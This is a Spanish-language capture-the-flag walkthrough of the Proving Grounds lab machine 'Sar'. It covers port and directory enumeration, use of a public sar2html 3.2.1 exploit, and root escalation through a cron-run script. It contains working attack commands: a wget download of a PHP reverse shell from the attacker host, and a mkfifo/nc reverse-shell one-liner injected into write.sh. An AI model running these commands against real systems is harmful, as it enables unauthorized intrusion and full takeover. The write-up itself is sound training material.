🟢Sar

Write-up de la máquina Sar de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Comenzamos enumerando los servicios abiertos de la máquina "Sar"

nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.147.35

Dos puertos abiertos, 22 y 80. Continuamos con el escaneo profundo de estos servicios.

nmap -p22,80 -Pn -n -sVC -vvv 192.168.147.35 

Servicios abiertos:

  • Puerto 22 -> SSH -> OpenSSH 7.6

  • Puerto 80 -> HTTP -> Apache httpd 2.4.29

Enumeración Web

La máquina "Sar" está ejecutando un servidor Web en el puerto 80, vamos a enumerar su contenido.

Página por defecto de un servidor que está ejecutando Apache. Vamos a enumerar directorios y archivos disponibles.

dirsearch -u "192.168.147.35" -i200,301 -t 30

Hay un archivo /robots.txt que puede ser interesante. Vamos a ver su contenido.

Parece un directorio. Vamos a enumerar su contenido.

Podemos ver la versión "sar2html 3.2.1". Vamos a tratar de buscar algún exploit existente para esta versión.

Explotación

Existen dos posibles exploits. Vamos a descargar el exploit 49344.py

searchsploit -m 49344.py

Una vez descargado, ejecutamos el exploit.

Tenemos shell. Vamos a buscar la flag Local.txt

Elevación de privilegios

La shell obtenida no nos permite movimiento alguno. Vamos a cargar una reverse shell en la máquina víctima que nos permita acceso completo al sistema.

En la máquina de ataque: python2 -m SimpleHTTPServer 80
En la máquina objetivo: wget http://192.168.49.147/php-reverse-shell.php

Ejecutamos un oyente nc en el puerto 1234 y abrimos la shell en el navegador Web.

Realizamos el tratamiento de la tty.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Enumeramos los archivos disponibles en el directorio /var/www/html

En este directorio hay disponible dos ejecutables bash que pueden ser interesantes, finally.sh y write.sh.

Vamos a enumerar el contenido del archivo crontab

El archivo finally.sh que vimos en la enumeración del contenido del directorio, se ejecuta con privilegios elevados cada 5 minutos. Vamos a ver el contenido de los dos scripts que vimos anteriormente.

Tenemos permisos para escribir en el ejecutable write.sh pero no en finally.sh. Vamos a modificar el archivo write.sh para crear una reverse shell que se ejecutará cada 5 minutos.

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.147 1337 >/tmp/f" > write.sh

Esperamos 5 minutos y deberemos obtener conexión en la máquina objetivo con privilegios máximos.

Solo quedará buscar la flag proof.txt para acabar la resolución de este CTF.

Last updated